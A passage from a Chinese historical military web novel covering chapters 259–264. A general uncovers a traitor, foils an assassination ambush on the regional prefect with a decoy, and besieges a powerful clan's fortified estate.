平日威严刚毅的都尉,此刻慌得如同失去幼崽的猛兽,手臂徒劳地试图堵住那喷涌的鲜血,声音破碎不堪:“军医!快他娘的传军医!” 涂洪在他怀中艰难地摇头,鲜血自唇角不断溢出,眼神逐渐涣散:“不必了……从我做出选择那刻,就……就知道…是这下场……” 他涣散的目光努力聚焦在程千韧悲痛的脸上,气若游丝:“都尉,涂洪给您丢人了……若,若有来世,我还…还当您的兵……” 话音渐渺,那抬起欲抓住什么的手,终是无力地垂落下去,已然气绝。 程千韧死死抱着余温尚存的躯体,整个人如同被定格,唯有粗重的喘息和微微颤抖的肩膀,宣泄着心中的悲恸与无力回天的绝望。 库房内落针可闻,沉重的气氛压得人喘不过气。 良久,凌川缓缓闭上眼,复又睁开,眸中已是一片冷冽的清明,他走上前,抬手重重按在程千韧剧烈颤抖的肩上。 涂洪的死,是凌川始料未及的结局。 自古慈不掌兵,他深谙此理。然而,他亦非铁石心肠,亲眼目睹一个鲜活的生命在忠孝两难的撕扯下,以如此悲壮而惨烈的方式在自己面前消逝,又岂能真正做到心如止水?那一瞬间的震动与沉重,宛如一把铁锤砸在他的心头。 大好男儿没有死于冲锋陷阵,而是成为了利益博弈的牺牲品,实属可悲。 就在此时,柳衡、赵襄、陈谓行等一众将领闻讯赶来,看到已然生死的涂洪皆是脸色一变。 程千韧将涂洪的尸体交给他人,缓缓抬起头看向凌川:“将军!” 他双目赤红,血丝遍布,声音因极力压抑悲痛而显得粗粝沙哑,“程千韧治军无方,御下不严,致使麾下校尉犯下如此大罪,我……难逃其咎!恳请将军免去我都尉之职,削为士卒,以正军法!” 他单膝跪地,甲叶碰撞发出沉闷的响声,头颅深深垂下,那宽阔的脊背此刻竟显得有些佝偻。 第一卷 第259章 以正军法! “程老都尉,陆老将军和催将军都跟我提及过你的为人!”凌川的声音缓和了些,“我也知道,此事与你无关!” “将军!”程千韧抬起头,脸上没有一丝赌气的成分,只有一片近乎固执的诚恳与决绝。 “老程并非一时意气!在这军营里待了大半辈子,我比谁都明白,军法如山不容私情!今日若因我而开了姑息之例,日后将军何以统御全军?法纪一弛,万事俱废!请将军……依律行事!” 凌川凝视着他那布满痛楚却异常坚定的眼睛,看到了一名老卒刻入骨髓的原则与担当。 程千韧沉默片刻,眼中最后一丝波澜归于平静,取而代之的是一种冷硬的决断。 “好!”凌川的声音陡然拔高,清晰有力地回荡在寂静的库房中,“程千韧听令!” “末将在!”程千韧挺直脊背,声音洪亮应道,仿佛要将所有情绪都灌注在这一声回应之中。 “步兵都尉程千韧,治军虽有疏漏,然其心可鉴,其诚可勉!今暂免你都尉之职……” 此言一出,周围众人心神一紧。 “将军!” 赵襄、柳衡等人纷纷跪地,为程老都尉求情:“卑职觉得,此事还未查明真相,就此处决程老都尉多有不妥!” “是啊将军!程老都尉的为人,我等皆可作保,此事他断然不知情!” 凌川严肃的目光从几人身上扫过,随即,却听凌川话锋陡然一转: “然,非常之时,需非常之人!现擢升你为行军司马,暂领军中监察、军纪整肃之责!给你三天时间,给本将军彻查此案!我要知道那批军械的准确去向,要揪出所有潜伏的蛀虫,要一个水落石出的结果!三天之后,若能功成,今日之过,将功折罪;若不能……” 凌川目光如炬,落在程千韧脸上:“数罪并罚,严惩不贷!你,可敢领命?” 这不是贬黜,而是更重的担子与信任!是将涂洪之死带来的痛楚与愤懑,化为斩向幕后黑手的利剑! 程千韧猛地一愣,随即眼中爆发出惊人的光芒,那是一种被极致信任所点燃的、混合着悲痛与复仇火焰的决绝。 他重重抱拳,声音因激动而微微发颤,却掷地有声: “末将领命!三天之内,若查不清此案,程千韧提头来见!” “好!”凌川点头,“即刻起,军中一切人员、档案,皆依你权责调阅审查,若有阻挠,军法从事!” “是!”程千韧豁然起身,最后看了一眼地上涂洪的尸身,眼中悲恸化为冰冷的锐利,转身大步流星而去,甲胄铿锵,每一步都带着不容置疑的决心。 凌川目送他离开,随即目光扫向现场众人。 “今日之事,任何人不得外传!其余涉案士卒,严加看管,待程司马查清原委后再行发落!” “苍蝇!” “属下在!” “组建一支百人队,护卫神机坊与各军械库!再有任何闪失,唯你是问!” “遵命!” 一道道命令有条不紊地下达,混乱的现场迅速被纳入秩序的轨道。 凌川站在原地,夜风吹拂着他冷峻的侧脸。 涂洪虽死,但这仅仅是开端。眼下首要之事,是查明那批弩箭的去向,并将深植于云州大营乃至整个云岚军中的毒瘤连根拔起。 他隐约察觉到,军械失窃的背后,与铲除云州世家门阀的行动存在着某种必然联系,只是那根关键的线头,如今还隐藏在迷雾之中。 很快,云州大营全面戒严,所有人员出入皆需严格核验手令。 凌川命苍蝇遣人将涂洪的尸身送返涂家,暂以阵亡将士之礼安置。一来是念及他身不由己,二来,亦是借此试探涂家的反应。 刚回到将军府,纪天禄遣人送来的情报便已呈至案头。 近日情报皆一式两份,分送将军府与刺史府杨恪处,内容主要关乎云州境内各大世家门阀的动向。 自李家庄园一别,纪天禄的斥候便一直在密切监视云州豪族,虽因人手所限,无法面面俱到,但诸如位列第一梯队、恶行昭彰或背景特殊的门阀,皆在监视之列。 天色擦黑之时,程千韧再度来到将军府复命。 “将军,卑职已查明,那批弩箭并未运出云州城!” 凌川眉头微蹙:“确定?” “确定!”程千韧斩钉截铁道。 原本以为,涂洪盗取军械后,定会设法送回涂家,用以对抗云州军。万万没想到,他得手之后,竟未将其运出城。按时间推算,他前夜便已得手,有足够的时间转移才对。 “将军,是否下令全城搜查?”程千韧请示道。 凌川沉吟片刻,摇头:“此事我另有安排,你只需全力清理军营余毒即可。” “是!”程千韧并未多问,行礼欲退。 “程老都尉!”凌川忽然开口叫住他。 程千韧转身抱拳:“将军还有何吩咐?” “涂洪之死……我亦很意外!”凌川唇齿微启,一时不知该如何宽慰。 程千韧苦笑一声:“将军无需挂怀,他犯的是死罪,怨不得旁人!” “只是……这小子确实招人喜欢。有头脑,有学问,不缺热血。虽出身富贵,却无半分纨绔习气。可惜了啊……” 凌川颔首道:“不瞒你说,我确要对云州世家门阀动手。但我的初衷,并非是要将其一网打尽,根本目的,是让云州百姓皆能丰衣足食。” “将军深谋远虑,心系苍生,卑职虽是一介武夫,亦能体会一二!”程千韧缓缓道,“昔日云岚县,将军也只是严惩了恶贯满盈的刘家,对其它家族多是警示而已!” 凌川轻叹一声:“这么浅显的道理,他们并非不懂。只是不愿将已吞入口中的肥肉,再吐出来罢了!” 距离与杨恪约定的日子越来越近,一股无形的压力笼罩整个云州,老百姓或许无感,可那些世家门阀却被这股压力压得喘不过气来。 凌川同样感受到了这股压力,以至于整个人都心不在焉,苏璃就这么陪着他,没有说话。 “娘子,你说要是我失败了,会不会被定义为千古罪人?”凌川拉着苏璃的手,小声问道。 苏璃笑着宽慰道:“无论世人怎么看,相公都是小璃心中的英雄,而且,小璃相信,相公一定会成功!” 第一卷 第260章 青柳巷刺杀! 昭元二十七年,七月初五。 这一日,注定将铭刻于云州史册。 酝酿已久的雷霆风暴终于降临,云州境内二十余县兵马同时出动,剑指盘踞地方的世家豪强。 此前一日,凌川已依据杨恪所列名单,向各县军营下达密令,决定对云州境内四家一等世家、九家二等门阀及十三户三等家族进行彻底清理。 云州一等世家本有七户。除已烟消云散的李家外,另有两家早已主动拜会过杨恪,表明态度,故而不在此列。 自然,也并非唯有向刺史府‘报备’者方能幸免。凌川早已遣人详加查访,深知并非天下乌鸦一般黑,众多富室之中,亦有恪守良知与底线者。 倒不是说他们便全无盘剥,只是相较而言,尚存几分克制,未至逼得百姓走投无路。 毕竟,如云岚刘家及方才覆灭的李家那般丧尽天良、毫无底线的,终究只是少数。 然而,外界无人知晓的是,就在昨夜,一场针对云州各县军营内部的清洗已先一步展开。三名校尉被革职下狱,数十名标长锒铛入狱,更有甚者被当场军法处置。 此乃无奈之举。 世家门阀对各行各业的渗透根深蒂固,若不先行拔除军中毒瘤,此番对外行动必将步履维艰。 清晨,杨恪如往常一样,亲手为自己煮了一碗清汤面。 用罢早饭,他换上绣着春漪鸳赋补子官服,唤来刺史府护卫,便径直出门。此行的目的地,正是云州城第一豪门,孙家。 护卫统领名唤林湛,云州本土人士。前任刺史贺临舟在任时,他仅是一名缉捕统领。杨恪到任后,于众护卫中公开选拔,此人凭借过人身手与沉稳作风脱颖而出。 孙家作为云州本土第一豪族,声威较之李家更为显赫,势力亦更为盘根错节。 当其他世家纷纷前往刺史府拜谒杨恪之时,孙家却仅修书一封,遣人送至刺史杨恪的桌案之上。 信中语带傲慢,几近命令地告知杨恪,彼此相安无事,井水不犯河水方为上策。若杨恪不识时务,执意与孙家为敌,孙家不介意使些手段,换个听话的人来做这云州刺史。 其态度之嚣张,言辞之倨傲,全然未将杨恪这位正四品官员放在眼中,仿佛他们才是这云州大地真正的主人。 杨恪虽是一介文士,却从不缺胆魄,既然孙家已公然挑衅,他岂有畏缩不战之理。 孙家府邸位于城西,距刺史府不足十里。杨恪安坐马车之中,数十名精锐护卫前后扈从,将其严密护卫在中央。 统领林湛按缰徐行,与马车并肩而进,同行的长史杜攸则骑马行于另一侧。 队伍行至青柳巷,林湛目光陡然一凝,右手下意识地按上刀柄。本能的直觉让他嗅到了一丝危险的气息。 恰在此时,原本行于左侧的杜攸策马绕至他这边。 “林统领!”杜攸低声唤道,眼底深处有一丝难以察觉的闪烁。 林湛侧目看去,眉头微蹙:“杜大人有何事?” “这青柳巷平日甚是热闹,为何今日如此冷清?莫非有危险?”杜攸声音压得更低,嘴角却牵起一抹极淡的弧度。 林湛锐利的目光扫过寂静的巷道两侧,沉声道:“杜大人放心,卑职定护得您与刺史大人周全!” 他话音未落,杜攸脸上那抹浅笑骤然变得冰冷。 “只怕林统领护不住刺史大人周全了!” 电光石火间,杜攸袖中滑出一把精巧的匣子弩,对准近在咫尺的林湛,猛地扣动机括。 三声闷响接连传来,如此距离,林湛根本不及反应。 短箭撕裂铠甲,钉入他的胸膛! 万幸距离太近,弩箭穿透铁甲后已是强弩之末,虽伤及皮肉,却未深入脏腑。 “杜大人!你……”林湛脸上写满难以置信,身体更是一阵摇晃,险些从马背上栽倒。他死死盯着杜攸,眼中既有震惊,也有被背叛的愤怒。 杜攸却不再看他,猛地一拨马头,径直冲向旁侧一条狭窄巷道。 “敌袭!保护大人!”林湛强忍剧痛,爆发出一声怒吼。 护卫们闻令瞬间反应,迅速收缩,刀盾并举,将马车围得铁桶一般。 然而就在这时,两侧屋顶之上骤然箭如飞蝗。 劲矢破空,皆是威力强劲的铁箭。盾牌尚可勉强抵挡,那些无盾护卫仅凭身上铠甲,根本无法抵御这般攒射。 一轮箭雨过后,马车周遭已有二十余名护卫中箭倒地,血染青石。余者只得拼命举盾,死死护住马车。 林湛睚眦欲裂,心知困守唯有死路一条。 “冲出去!” 一名护卫猛抖缰绳,驱赶马车欲强行冲巷,奈何辕马仅奔出不足十步,便发出一声悲鸣,中箭扑倒在地。 接连三轮箭雨覆盖,护卫死伤惨重,仅剩十余人手持残破盾牌,紧紧护在马车周围,人人带伤。 林湛胸前铠甲已被鲜血染透,却依旧持刀屹立在最前方,目光如狼,试图杀出一条血路。 巷子前后脚步声大作,大批人影从两侧涌出,足有上百之众。个个左手持匣子弩,右手握森然战刀,彻底封死了巷口两头。 杜攸的身影也赫然重现于人群之前,面带得意冷笑。 “刺史大人,不必再做无谓挣扎了!”杜攸扬声道,声音在寂静的巷中回荡,“这青柳巷,便是在下为您精心挑选的长眠之地。您就认命吧!” 马车之内,却依旧寂然无声。 “杜攸!”林湛手中战刀遥指对方,怒喝道,“你身为朝廷命官,竟勾结杀手,谋害朝廷命官!你就不怕节度府彻查,诛你九族吗?” 杜攸好整以暇地摇了摇头,笑容阴冷:“林统领,此言差矣!尔等皆是死于云州军制式破甲弓与匣子弩之下。正是在下及时率众赶来,浴血奋战,才将这群胆大包天的刺客尽数诛灭,为杨大人报了血仇!” “真是好算计啊!” 一个年轻而沉静的声音,自马车内缓缓传出。 杜攸脸色骤变。这声音……为何如此耳熟?绝非杨恪! 车帘一动,被人从里面掀开。 一道身影弯腰步出,立于车辕之上。 其身披玄甲,英姿挺拔,目光锐利如刀,扫视全场,自带一股沙场悍将的凛然威势。 第一卷 第261章 一个也逃不掉! 看清来人面容,杜攸瞳孔骤然紧缩,脸上的血色如潮水般褪去,嘴唇微张,半晌才挤出颤抖的声音:“凌川……怎会是你?” 那自马车中沉稳步出的,并非他预想中的刺史杨恪,而是今日一早便大张旗鼓自南门出城的云州副将——凌川。 凌川的出现,不仅让杜攸惊骇欲死,就连林湛与一众死里逃生的护卫也都瞠目结舌,难以置信。 “凌将军,刺史大人呢?”林湛强忍着胸口的剧痛,声音带着急切与担忧。 “放心,杨大人很安全!”凌川的目光扫过林湛染血的衣甲,语气虽淡却带着令人信服的力量。 此言一出,林湛与残余的护卫们紧绷的心弦终于稍松,但随即又因身处重围而再度紧张起来。 凌川却神色自若,仿佛周遭森然的弩箭与刀光不过是虚幻背景。 “不必惊慌!”他平静道,“既然我在此地,他们便一个也逃不掉!” 杜攸此时已从最初的震惊中缓过神来。凌川的出现虽打乱了他的全盘计划,但事已至此,他已无路可退。眼中闪过疯狂的决绝,今日必须将凌川与杨恪一并除去,否则死的便是自己! “凌川!”杜攸厉声喝道,试图以声势掩盖内心的慌乱,“死到临头,还敢口出狂言!睁大眼睛看看你的处境!” 凌川闻言,只是微微挑眉,目光如同审视跳梁小丑:“杜长史,你该用脖子上那颗肉瘤好生想想,我凌某人何会出现在此。” 话音未落,两侧原本寂静的屋舍之内,骤然爆发出凄厉的惨叫与利刃割裂肉体的闷响! 杜攸脸色剧变,瞬间明白己方的埋伏早已暴露,甚至反被对方渗透。惊怒交加之下,他再无迟疑,嘶声下令:“杀!先取凌川首级!” 他必须在凌川的后手完全发动前,做拼死一搏! 然而,就在他话音落下的瞬间,巷道两端传来沉重而整齐的步伐声,如同闷雷滚过青石路面。只见黑压压的甲士如潮水般涌来,刀枪如林,甲胄森然,瞬间封死了所有退路。 “清剿反贼,一个不留!”校尉赵襄的怒吼声穿透战场。 杜攸一方的杀手们虽悍勇,却多是江湖路数,擅袭杀而非阵战。面对结阵而来、配合默契的正规战兵,他们的抵抗迅速崩溃。 经过这段时间的操练,云州军已经能熟练运用五行锥阵。 盾牌手在前稳步推进,宛如一道铁壁,轻易挡开零星射来的弩箭。 长枪兵紧随其后,冰冷的枪尖从盾隙中精准刺出,每一次突刺都带起一蓬血花。 靠近之后,盾牌手迅速后撤,将战场交给刀兵,接下来便是一面倒的屠杀。 杀手们的惨叫和怒吼,瞬间被金属碰撞声和士兵们喊杀声所淹没。 他们手中的匣子弩的九支弩箭已经射空,加上他们跟不懂得列阵配合,这种情况下与士兵近战,根本没有丝毫胜算。 凌川依旧屹立于马车之上,冷漠地注视着下方的杀戮场。他的目光偶尔扫过负隅顽抗的杜攸,带着一丝冰冷的嘲讽。 战局呈现一面倒的态势,不断有杀手倒下,负伤者很快被补刀。 加上所有退路皆已被堵死,这些杀手只能做困兽之斗。青石路面被鲜血染红,空气中弥漫着浓重的血腥味。 杜攸环顾四周,发现自己的心腹已死伤殆尽,瞬间一颗心跌入谷底。 他知道,这场战斗已经没有悬念,果断抽身而退,想要抛弃同伴逃离。 殊不知,暗中早有一支铁箭将他锁定。 见杜攸要跑,聂星寒果断放箭,一箭洞穿了他的小腿。 “啊……” 杜攸惨叫一声扑倒在地,赵襄立马冲了上去将他擒住。 杜攸刚举起匣子弩对准赵襄,又是一支铁箭飞来,将他的手臂射穿,匣子弩脱手掉落。 不消片刻,场中的打斗声越来越小,最终彻底消失,百余名杀手尽数伏诛,青柳巷的青石板路上堆满了尸体,浓烈的血腥味更是充斥在空气中。 赵襄立刻上前复命:“启禀将军,逆贼杜攸及余党均已拿下!请将军示下!” “清理干净,将杜攸严密看押,没有我的命令,任何人不得接近!”凌川命令道。 “是!” “卑职拜见将军!”林湛强忍伤痛,下马行礼,动作间牵动伤口,让他眉头微蹙。 “不必多礼。”凌川虚扶一下,“带弟兄们回去好生疗伤要紧。” 林湛略作迟疑,还是开口问道:“敢问将军,刺史大人在何处?” 凌川闻言唇角微扬,转身对着马车厢道:“杨大人,看来需得您亲自发话才行。” 车帘再次掀动,杨恪弯腰从车厢内走出。众人见状,面上皆难掩惊诧。 林湛方才一路护卫,寸步未离,怎么也想不通凌川是何时潜入车中替代了刺史大人。此刻见杨恪安然现身,他顿时明悟,原来凌将军从一开始就在车上。 “诸位辛苦了!”杨恪目光扫过一众带伤的护卫,温言道,“带人回去疗伤,此地交由凌将军即可!” “大人,卑职这点伤不碍事……”林湛仍欲坚持。 杨恪微微一笑,语气却不容置疑:“放心,眼下这云州境内,再无何处比凌将军身侧更为安全!” 闻听此言,林湛这才不再坚持,郑重行礼后,率领残余护卫转身离去。 这一战因疏忽而损失十余名弟兄,众人皆负伤在身,令他心中沉痛。 归根结底,还是自己不够谨慎,尽管已经察觉到这青柳巷的异常,却没想到身边的长史杜攸竟然是敌人。 若非凌川早有布局,将计就计引蛇出洞,后果不堪设想。 事实上,凌川也是昨日才想清楚其中的关键,既然那批被弓弩并未出城,显然敌人的目标就在这云州城中。 而云州城中最大的两个目标,要么是自己,要么是刺史杨恪,两相比较,显然是干掉杨恪难度更低一些,同时在嫁祸于自己,可谓是一石二鸟。 想通了这一点,接下来的事情就简单多了,只需将计就计引蛇出洞便可。 为了把戏演得逼真一些,凌川一早便带着亲兵自南门出城,实则出城之后兜了一圈又悄悄来到刺史府,率先坐进杨恪的马车之中。 第一卷 第262章 先揍一顿再说! 孙家庄园,这座雄踞云州百余年的第一豪门祖地,此刻正被一片铁血肃杀之气笼罩。 远望而去,庄园依山势而建,青瓦白墙连绵起伏,飞檐斗拱层叠错落,气派非凡。 高耸的牌楼以整块花岗岩雕琢而成,其上‘积善传家’四个鎏金大字在阳光下依旧熠熠生辉,两侧蹲踞的石狮威仪犹存,却再无往日从容。 然而此刻,这座彰显着百年积淀与无上荣光的庄园,却被重重铁骑围困。 骑兵都尉柳衡于半个时辰前亲率一千精骑驰至,马蹄踏碎昔日宁静,甲胄寒光取代了鸟语花香。 精锐骑兵已将偌大庄园围得水泄不通,刀出鞘,箭上弦,只许进,不许出。 森然杀气弥漫开来,与这雕梁画栋的百年基业形成一种无声的对抗。 凌川与杨恪二人乘骑马来到孙家庄园外,身后跟着凌川的亲兵队。 孙家庄园围墙之上站满了家丁,说是家丁,实际上就是孙家豢养的私军,一个个刀甲鲜亮,弓弩强劲,与云州军对峙。 一名身着华服,腰悬战刀的魁梧中年男子站在碉楼之上,目光冷厉地看向刚刚赶到的凌川与杨恪二人。 “外面的人听着!”男子声音洪亮,带着久居上位的倨傲,“我不管你们是何身份,此乃我孙家私人地界,劝你们速速退去,否则后果自负!” 听到这话,杨恪眼神中闪过一抹怒意,凌川则是淡然笑道:“私军喊话官兵,倒也是不多见了。” “多年来的横行霸道,他们早就忘了王法为何物了!”杨恪转过目光看向凌川,语气凝重,“说一句无法无天,也毫不为过。将军觉得,眼下这局面该如何?” “很简单!”凌川唇角微扬,语气却冷了几分,“先揍一顿再说!” 就在这时,柳衡快马赶了过来,翻身下马行礼:“末将见过将军,见过刺史大人!” 凌川点了点头,问道:“情况如何?” “按照将军的要求,只是将孙家围了起来,并未动手!”柳衡恭敬地回答。 “孙家有多少私军?”凌川又问。 “大约一千五百人!” “兄弟们箭矢配足了吗?” “将军放心,足够了!”柳衡笑着回答道,语气中透着自信。 “动手吧!” 随着凌川这道命令下达,柳衡翻身上马,冲上前去,高声喝道:“放箭!” “咻咻咻……” 四面八方同时放箭,密密麻麻的羽箭朝着孙家围墙飞去,刹那间,墙头上便传来惨叫声与咆哮声。 “盾牌防御!快举盾!”孙家围墙之上传来气急败坏的吼声。 他们压根就没想到云州军竟然真的会放箭,更准确说是没想到云州军敢放箭。 毕竟,孙家之所以能成为云州第一门阀,背后的靠山和底蕴远不是李家这种能比的。 虽说,像李家这种一等门阀,也一直在官场和军中扶植家族嫡系,甚至是花重金收买人脉,但却没有足够分量的靠山。 而孙家就不一样了,如今,孙家的一位嫡系乃是北系军中的一名校尉,如果仅仅是校尉并不算什么,但这位可不是一般的校尉,而是玄影骑的校尉。 众所周知,玄影骑无论是战绩还是名声,都力压龙夔骑和虎贲骑一头,乃是北系军中毫无争议的第一精锐。 同样,玄影骑中的一名校尉要是放在外界,就是妥妥的一名五品将军,甚至,就算拿一套狻猊吞海锁子甲也换不来玄影骑的校尉之职。 这也是孙家能将云州境内的其它六家一等门阀踩在脚下,执云洲牛耳的根本原因所在。 他们不相信,如此重要的信息,凌川跟杨恪不知道,然而,凌川却毫不犹豫地下达进攻命令,难道他就真的一点不惧玄影骑吗? 孙家私军虽然全员穿戴铠甲,却根本挡不住破甲箭的犀利穿透。 一轮箭雨之后,城墙之上已留下上百具孙家私军的尸体。孙家私军这时才组织起反击,可令他们绝望的是,他们所配置的弓箭射程竟然无法抵达云州军所站的位置。 很多人这才注意到,云州军人手持一把造型怪异的弓箭,与他们常见的弯弓截然不同。 眼下,就算云州军就那么大刺刺地站在那里,他们也射不到对方,可对方却能用铁箭射到他们。一众孙家私军可谓是有力使不上,只能被动挨打。 “二爷,怎么办?照这么下去,兄弟们都成活靶子了!”一名私军队长找到孙家二爷孙仲霆,满脸焦急地问道。 孙仲霆透过瞭望口朝外扫了一眼,只见成排的云州军不断弯弓搭箭,成片的铁箭仿佛不要钱一般,朝着庄园铺天盖地射来。他脸色阴沉,眼中闪过一丝决断。 “不能一直被动挨打,你带三百骑兵,从侧门杀出去,能打乱他们的阵型最好,实在不行就立马撤回,千万不可恋战!”孙仲霆对那名队长吩咐道。 “二爷放心,咱们的骑兵操练可一直都没马虎过,今日便与云州军碰一碰,看谁更强!”队长说完便快步跑下箭楼。 片刻之后,孙家庄园侧门打开,三百手持长枪的骑兵冲杀而出,一个个吼叫着朝云州军扑来。 面对这样的情况,一众云州军虽然略感诧异,但却丝毫不乱。只见他们迅速将包围圈让开一道口子,所有士兵分列两旁,迅速开动破甲弓朝这支骑兵放箭。 不远处,柳衡面带兴奋之色。他按照凌川的吩咐,早已带领五百骑兵恭候多时。这五百骑兵配置的都是新式重甲,一杆杆才从军械库中取出的新式长枪闪烁着刺目的寒芒。 “来得好!给我撕碎他们!”随着柳衡一声大喝,五百重骑宛如一股钢铁洪流,直接朝着那三百孙家骑兵冲了上去。 那名孙家私军队长没想到对方还隐藏了一支骑兵,更令他震惊的是,那支朝他们冲杀过来的竟然是人马俱甲的重骑兵。 一时间,那名骑兵队长有些措手不及,可现在双方都开始急速奔袭,两侧还有云州军的弓箭手不断压制,导致他们想要改道错开与那支重骑兵的碰撞都已经来不及。 第一卷 第263章 再加一把火! 两军交战,士气为先! 决定一场战斗胜负的因素很多,但士气绝对是非常重要的一项因素。 这是凌川上任以来,柳衡麾下骑兵的第一次迎敌,自然要尽全力表现,只见所有人的脸上都写满了狂热的杀意,紧握着长枪的手臂青筋暴露。 在他们看来,这些孙家骑兵就是送上门来的军功,唾手可得。 反观孙家三百骑兵,已经被云洲骑军的气势震住,一个个心神震颤,手上更是下意识地收紧缰绳,这一举动,也注定了他们的惨烈结局。 骑兵交锋,凿阵为首! 尽管双方的实力从一开始就不对等,但,孙家骑兵先怯战,只会让他们死得更惨。 “杀……” 两股骑兵猛烈碰撞在一起,金铁交鸣之声不绝于耳。 客观来说,孙家骑兵并非不堪一击,但面对装备精良、训练有素的云州重骑,宛如纸人一般,一个照面便被撞碎。 一杆杆长枪轻易地刺穿他们的铠甲,重骑的冲击力更是将孙家骑兵连人带马撞翻在地。 孙家那名骑兵队长原本还自信满满,因为,平时训练他们的骑兵教头乃是从玄影骑中负伤退下来的一名标长,他毫无保留地将玄影骑中那一套训练方法给搬了过来。 也正是因为如此,他们才会自信爆棚,潜意识里更是将自己与北系军第一王牌玄影骑相提并论。 然而,仅一个照面的交锋,他们的自信便被彻底碾碎。 只见五百重骑宛如砍瓜切菜一般,一路碾压过来,孙家三百骑兵根本没有任何反抗之力。 这段时间,云州军除了完成体能训练之外,不同兵种也都进行了针对训练,这套训练项目凌川早在云岚县的时候便已经完善。 他们训练过程中,凌川去得并不多,不过,亲兵队中不少人都深得凌川真传,就算没有悟透其中真谛,但也知道该如何训练。 原本,重骑兵乃是由赵襄率领,但,今日赵襄另有安排,这支重骑兵也全都交给了柳衡,连同一千轻骑兵一起,围攻孙家。 柳衡一马当先,手中铁枪宛如死神的獠牙,接连挑翻数名孙家骑兵。 后方,重骑兵方阵虽不那么整齐,但,面对如无头苍蝇一般的孙家骑兵,一个个也是毫无压力,直接冲上去收割。 那名孙家骑兵队长见势不对,就要撤退,只可惜,五百云州重甲已经将他们死死咬住,根本抽不开身。 那名骑兵队长见情况不对,也顾不得手下人的死活,调转马头便准备撤回孙家庄园。 殊不知,此时的他已经被柳衡盯上。 “想走?把命留下吧!”柳衡冷哼一声,双腿一夹马腹,径直追了上去。 柳衡胯下战马身负重甲,论速度肯定比不上对方,眼看对方就要进入孙家箭楼之上弓箭手的覆盖范围,柳衡不由得暗自着急起来。 只见他抬手举起长枪,朝着对方掷出。 那名孙家骑兵队长也感受到了身后传来的呼啸之声,连忙俯身,将身体趴在马背上。 长枪贴着肩膀划过,直接贯穿战马的后颈,那战马发出一声嘶鸣,一头栽倒在地,那名骑兵队长也被甩翻出去,他顾不得身体的疼痛,起身就想跑。 然而,他刚站起身来,柳衡已经杀到跟前。 “受死!” 伴随一声暴喝,柳衡腰间的苍生刀猛然出鞘,那名孙家骑兵队长只感觉一道寒芒朝自己泼洒而来,紧接着脖子一凉,随后便感觉一阵天旋地转,微弱的眼神余光看到一具无头尸体的脖颈处正在疯狂喷血。 那是他自己的身体! 柳衡甚至都没去捡那颗可换军功的头颅,而是第一时间调转马头返回。 此时战场中,三百孙家骑兵已经被屠杀得所剩无几,剩下一些人更是被吓破了胆,寻找机会逃走,然而等待他们的是其他云州军的破甲箭。 不到半个时辰,战斗宣告结束,三百孙家骑兵被斩杀得一干二净。 围墙之上,孙仲霆面色一片苍白,简直难以相信这个结果。 原本想着,自己派出这三百骑兵,就算不能将庄园外的云州军赶跑,也能将他们的阵型打乱,再不济,也能及时撤回。 然而,对方似乎早就预判了他的预判,提前安排一支五百人的骑兵在那里等候,而且,还不是一般的骑兵而是人马俱甲的重骑兵。 以至于战斗从一开始就变得毫无悬念,甚至,他派出去的三百骑兵,连撤回来的机会都没有,直接被碾死。 “二爷,咱们的三百骑兵被杀光了,这可咋办啊!”另一名身着铠甲的队长满脸惊恐地问道。 孙仲霆面色一片铁青,咬牙说道:“慌什么?咱们只要死守,对方就绝对攻不进来,而且,两日前就已经派人去通知老四了,等他回来,就算是那狗屁的镇北将军,也得俯首帖耳!” 听闻此言,众人顿时放下心来,毕竟,他们心里都清楚,孙家四爷可是那支传奇军团的校尉,其背后站着的是未来北疆主帅的不二人选陆沉锋,绝非凌川这个云州副将所能比的。 当柳衡满脸激动来到凌川跟前禀报的时候,后者只是微微点了点头,问道:“我方伤亡如何?” “启禀将军,七人阵亡,二十余人受伤!”柳衡回答道。 凌川目光微微一沉,显然对于这个结果他并不满意,毕竟是重甲对轻骑,而且,兵力和装备上都占据着巨大的优势。 柳衡脸上的笑容逐渐凝固,对于之前凌川率领云岚军在关外打出的惊人战绩,他也是如雷贯耳,同时,心中暗下决心,一定加强训练,不能让将军看不起,更不能坠了云州军的威名。 “久闻将军练兵颇有心得,今日总算是眼见为实了!”杨恪笑着说道。 凌川微微摇头说道:“他们训练时日不长,距离我的要求还差得远呢!” “经此一战,孙家应该能看清局势了,将军觉得接下来该如何?”杨恪问道。 “刺史大人莫急,好戏还没开始呢!”凌川笑道。 随即对柳衡说道:“再加一把火,把孙家的傲气彻底给我打散!” “是!”柳衡领命而去。 第一卷 第264章 地狱空荡荡! 一千余名云州军士将孙家庄园围得水泄不通,箭雨绵密如织。 每当有孙家私军在墙头显露身形,必有一支凌厉的铁箭破空而至,精准夺命。 云州军轮流施射,箭矢破空之声不绝于耳,迫使孙家私军只能蜷缩在垛墙之下,或是借着箭楼的掩护窥探外界动静,彻底丧失了主动权。 庄园外,一队士兵正在忙碌地搬运各种形状怪异的木料。其中一根三丈余长的巨木格外醒目,旁边还堆放着不少硕大的石块,看不出是什么用途。 “二爷,他们这是在弄什么名堂?”一名私军队长望着外头忙碌的云州军,忍不住发问,声音里带着不安。 孙仲霆眼角微微抽搐,却强作镇定地冷哼道:“不过是想搭几座箭楼罢了!任他们折腾,咱们只管死守,谅他们也攻不进来!”他握紧长刀的手却不自觉地收紧,指节泛白。 而此时在庄园最深处,孙家老太爷孙秉承正与一众家族弟子聚集在祠堂之中。偌大的祠堂之中透着一股奢靡而诡异的气息。 除了这些锦衣华服的孙家子弟,角落里还瑟缩着十余名年轻妇人。 她们衣衫朴素,体态丰腴,与光彩照人的孙家子弟形成了鲜明对比。这些女子个个面色苍白,眼神呆滞,仿佛已经认命。 年逾八旬的孙秉承虽然头发牙齿都快掉光,却依旧精神矍铄,一双昏黄的老眼锐利如鹰。 任谁也想不到,这位看似慈眉善目的老者,竟有着一个令人发指的癖好——他以人乳为食。 这一切始于十年前的一场怪病,当时孙秉承食不下咽,日渐消瘦,眼看就要油尽灯枯。恰在此时,一位游方道人登门,声称唯有初为人母者的乳汁方能治愈。 孙家当即动用全部势力,在云州城内大肆搜罗刚生产的妇人。一碗温热的乳汁下肚,孙秉承竟真的奇迹般好转。自此,他便沉溺此道,甚至将人乳当作每日必备的膳食。 十年来,孙家常年圈养着十余位刚生产的妇人。为了确保乳汁‘醇香甘美’,孙秉承还专门让人为这些女子制定了饮食规矩,由专人负责他们的饮食。 然而,这荒唐癖好的背后,是数不尽的累累恶行。 孙家的爪牙们像猎犬一般四处嗅探,一旦得知谁家新妇生产,便立即破门掳人。 